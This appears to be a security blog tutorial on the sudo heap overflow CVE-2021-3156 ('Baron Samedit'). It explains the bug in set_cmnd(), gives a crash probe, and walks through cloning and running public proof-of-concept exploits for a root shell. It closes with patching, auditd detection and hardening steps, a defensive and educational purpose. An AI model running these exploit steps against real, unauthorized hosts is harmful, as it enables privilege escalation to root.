Disclaimer: This article is for education and authorized security testing only. Run these techniques solely against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in most jurisdictions.
Introduction / Overview
In January 2021, the Qualys Research Team disclosed CVE-2021-3156, nicknamed "Baron Samedit." It is a heap-based buffer overflow in sudo that allows any local user—not necessarily a member of the sudoers file—to escalate to root. The bug had lain dormant in the codebase since July 2011 (commit 8255ed69), affecting nearly a decade of releases.
What makes Baron Samedit especially dangerous is that it requires no special privileges: an unprivileged user, a guest account, or a low-privilege service account is enough. By the end of this article you'll understand the root cause, run a working proof-of-concept in a lab, and—just as importantly—know how to detect and defend against it.
How it works / Background
sudo supports two related binaries: sudo itself and sudoedit (a symlink that behaves like sudo -e). When invoked in edit mode, sudo sets the MODE_EDIT flag and takes a different path through argument parsing.
The vulnerable function is set_cmnd() in plugins/sudoers/sudoers.c. To evaluate the command line, sudo copies the argument vector into a heap buffer called user_args, un-escaping backslash characters as it goes:
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
...
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}CNormally sudo escapes shell metacharacters before this loop, so a lone trailing backslash never reaches it. But when both MODE_EDIT (or MODE_CHECK) and MODE_SHELL are set, the escaping logic is bypassed while the un-escaping loop still runs. You can reach this state with:
sudoedit -s '\'BashThe -s flag sets MODE_SHELL. A command argument ending in a single backslash (\) tricks the loop: it reads the backslash, skips it, then dereferences and copies the NUL terminator and beyond, reading and writing past the end of the user_args heap allocation. The result is a classic heap overflow where the overflow contents are fully attacker-controlled via argv and the environment, giving precise control over adjacent heap chunks.
Because the overflow data comes from argv and environment strings, an attacker can groom the heap to overwrite service pointers (such as struct service_user entries used by NSS) and ultimately hijack control flow to run code as root.
Prerequisites / Lab setup
Spin up a disposable VM—never test on production. Vulnerable versions are:
- Legacy: sudo 1.8.2 through 1.8.31p2
- Stable: sudo 1.9.0 through 1.9.5p1
Good lab targets include Ubuntu 20.04 (pre-patch), Debian 10, or CentOS 8 snapshots. First, confirm the version:
sudo --version | head -1
# Sudo version 1.8.31BashThen run the official one-liner heap-overflow probe published by Qualys. A vulnerable host returns a malloc() / heap corruption error; a patched host prints the normal usage message:
sudoedit -s '\' `perl -e 'print "A" x 65536'`Bashmalloc(): corrupted top size
# -> VULNERABLE
usage: sudoedit [-AknS] [-r role] [-t type] ...
# -> PATCHED (or not vulnerable)PlaintextIf you see malloc(): corrupted top size, segmentation fault, or a free(): invalid pointer, the target is exploitable.
Attack walkthrough / PoC
You do not need to write the exploit from scratch. The most reliable public PoC is blasty's sudo-hax-me-a-sandwich, which brute-forces offsets against a set of known target profiles.
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
makeBashThe build produces sudo-hax-me-a-sandwich. Running it without arguments lists pre-computed targets keyed by distribution and sudo version:
./sudo-hax-me-a-sandwich
# ** CVE-2021-3156 PoC by blasty <peter@haxx.in>
#
# usage: ./sudo-hax-me-a-sandwich <target>
#
# available targets:
# ------------------
# 0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
# 1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
# 2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
# ------------------BashSelect the profile that matches your lab host and launch it:
./sudo-hax-me-a-sandwich 1
# ** pulling levers
# # id
# uid=0(root) gid=0(root) groups=0(root)BashA successful run drops you into a root shell. For targets not covered by the built-in profiles, Worawit Wang's (@sleepya_) exploit computes offsets dynamically and works across a far wider range of systems—useful when you don't know the exact libc build:
git clone https://github.com/worawit/CVE-2021-3156.git
cd CVE-2021-3156
python3 exploit_nss.py
# whoami
# rootBashWorawit's exploit_nss.py abuses the Name Service Switch (/etc/nsswitch.conf) machinery: the overflow corrupts the cached service_user list, so when sudo performs a lookup it loads an attacker-supplied shared object as root, executing arbitrary code. This is the cleanest, most portable approach for engagements.
The attacker-controlled flow looks like this:
Mermaid diagram

The diagram shows how a crafted sudoedit -s call bypasses argument escaping, overflows the heap, and hijacks the NSS lookup to gain a root shell.
Detection & Defense (Blue Team)
Defense should carry at least as much weight as exploitation. Baron Samedit is trivially weaponized, so prioritize remediation.
1. Patch immediately. This is the only complete fix. Update to sudo 1.9.5p2 or later (or your distro's backported package):
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade sudo
# RHEL / CentOS / Fedora
sudo dnf upgrade sudo
# Verify
sudo --version | head -1 # expect 1.9.5p2 or your distro's fixed buildBashDistro security trackers (USN-4705-1, DSA-4839-1, RHSA-2021:0218) list the exact fixed package versions—match against those, not just upstream numbers.
2. Detect exploitation attempts. The exploit signature is distinctive: a sudoedit -s (or sudo -e -s) invocation followed almost immediately by a sudo crash. Hunt for these with auditd:
# auditd rule to log all sudo/sudoedit execve calls
auditctl -a always,exit -F arch=b64 -S execve -F exe=/usr/bin/sudo -k sudo_exec
auditctl -a always,exit -F arch=b64 -S execve -F exe=/usr/bin/sudoedit -k sudo_exec
# Search captured logs
ausearch -k sudo_exec | grep -E 'sudoedit|-s'BashWatch your kernel ring buffer and journal for crash artifacts that map to the overflow:
dmesg -T | grep -iE 'sudo|sudoedit' | grep -iE 'segfault|general protection'
journalctl _COMM=sudoedit --since "-1h"BashEDR/SIEM detections should fire on: sudoedit spawned with -s, sudo segfaults, and any sudo process loading an unexpected .so from a user-writable path. Map this activity to MITRE ATT&CK T1068 – Exploitation for Privilege Escalation.
3. Compensating controls (until patched). There is no robust runtime mitigation, but you can reduce exposure:
- Restrict who can run
sudo/sudoeditat all; remove the SUID bit only if you fully understand the operational impact (it breaks legitimate sudo use). - Enforce SELinux/AppArmor confinement so a hijacked sudo cannot load arbitrary objects.
- Treat any host where unprivileged users have shell access as high-risk and prioritize it for patching.
For broader context on hardening sudo and finding other escalation paths, see my notes on Linux privilege escalation enumeration and GTFOBins and SUID abuse. For monitoring strategy, pair this with building a Linux auditd detection pipeline.
Conclusion
Baron Samedit (CVE-2021-3156) is a textbook example of a long-lived, high-impact memory-safety bug: a single mishandled backslash in set_cmnd() collapsed the boundary between unprivileged user and root. For attackers and red teamers it's a near-guaranteed local root on unpatched hosts; for defenders it's a reminder that patch velocity beats clever mitigation. Confirm your sudo version today, deploy the fixed package, and add sudoedit -s detections to your monitoring—then move on, because Death waits at the crossroads for the unpatched.
References
- MITRE CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3156
- Qualys advisory (original disclosure): https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
- Sudo project release notes: https://www.sudo.ws/security/advisories/unescape_overflow/
- blasty PoC: https://github.com/blasty/CVE-2021-3156
- Worawit (sleepya) PoC: https://github.com/worawit/CVE-2021-3156
- HackTricks – Linux Privilege Escalation: https://book.hacktricks.xyz/linux-hardening/privilege-escalation
- MITRE ATT&CK T1068: https://attack.mitre.org/techniques/T1068/



Comments